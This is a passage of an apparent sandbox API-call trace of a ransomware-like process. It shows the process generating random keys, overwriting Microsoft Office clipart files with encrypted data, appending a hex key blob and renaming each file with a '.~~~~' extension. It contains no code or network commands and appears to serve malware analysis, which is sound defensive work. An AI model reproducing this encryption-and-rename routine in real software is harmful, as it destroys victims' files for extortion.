	[0092.192] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffea50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.192] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x15b0, lpOverlapped=0x0) returned 1
	[0092.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.193] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.193] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.193] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.193] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.193] CloseHandle (hObject=0x12c) returned 1
	[0092.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.193] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.~~~~")) returned 1
	[0092.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.194] GetLastError () returned 0x0
	[0092.195] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.196] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.196] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.196] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21218647348) returned 1
	[0092.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0b8aed0, dwHighDateTime=0x1d60e1e)) 
	[0092.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3878b0
	[0092.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3878b0 | out: hHeap=0x300000) returned 1
	[0092.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389ff0
	[0092.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.197] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.197] GetLastError () returned 0x0
	[0092.197] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.197] GetLastError () returned 0x0
	[0092.200] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffec96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.200] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x136a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0x136a, lpOverlapped=0x0) returned 1
	[0092.200] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.200] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.200] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.201] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.201] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.201] CloseHandle (hObject=0x12c) returned 1
	[0092.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.201] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.~~~~")) returned 1
	[0092.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.202] GetLastError () returned 0x0
	[0092.202] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.203] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.203] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.204] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21219376988) returned 1
	[0092.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0b8aed0, dwHighDateTime=0x1d60e1e)) 
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3878e8
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3878e8 | out: hHeap=0x300000) returned 1
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a960
	[0092.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.356] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.356] GetLastError () returned 0x0
	[0092.356] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.356] GetLastError () returned 0x0
	[0092.359] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffff3f6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.360] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xc0a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xc0a, lpOverlapped=0x0) returned 1
	[0092.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.360] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.361] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.361] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.361] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.361] CloseHandle (hObject=0x12c) returned 1
	[0092.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.361] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.~~~~")) returned 1
	[0092.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.362] GetLastError () returned 0x0
	[0092.363] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.364] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.364] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.364] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21235398505) returned 1
	[0092.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0d2ddf0, dwHighDateTime=0x1d60e1e)) 
	[0092.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2410
	[0092.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2410 | out: hHeap=0x300000) returned 1
	[0092.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a960
	[0092.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.365] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.365] GetLastError () returned 0x0
	[0092.365] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.365] GetLastError () returned 0x0
	[0092.367] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffdc2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.367] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x23d4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x23d4, lpOverlapped=0x0) returned 1
	[0092.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.368] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.368] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.368] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.368] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.368] CloseHandle (hObject=0x12c) returned 1
	[0092.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.368] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.~~~~")) returned 1
	[0092.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.369] GetLastError () returned 0x0
	[0092.370] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.371] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.372] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.372] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21236185555) returned 1
	[0092.372] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0d2ddf0, dwHighDateTime=0x1d60e1e)) 
	[0092.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a23a0
	[0092.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a23a0 | out: hHeap=0x300000) returned 1
	[0092.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38aa90
	[0092.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.372] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.373] GetLastError () returned 0x0
	[0092.373] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.373] GetLastError () returned 0x0
	[0092.375] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffce34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.375] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x31cc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x31cc, lpOverlapped=0x0) returned 1
	[0092.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0092.375] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.376] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.376] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.376] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.376] CloseHandle (hObject=0x12c) returned 1
	[0092.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.376] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.~~~~")) returned 1
	[0092.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.377] GetLastError () returned 0x0
	[0092.377] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0092.379] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.379] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0092.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0092.379] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21236887210) returned 1
	[0092.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa0d53f50, dwHighDateTime=0x1d60e1e)) 
	[0092.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387bc0
	[0092.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387bc0 | out: hHeap=0x300000) returned 1
	[0092.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38ab28
	[0092.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.379] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0092.380] GetLastError () returned 0x0
	[0092.380] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0092.380] GetLastError () returned 0x0
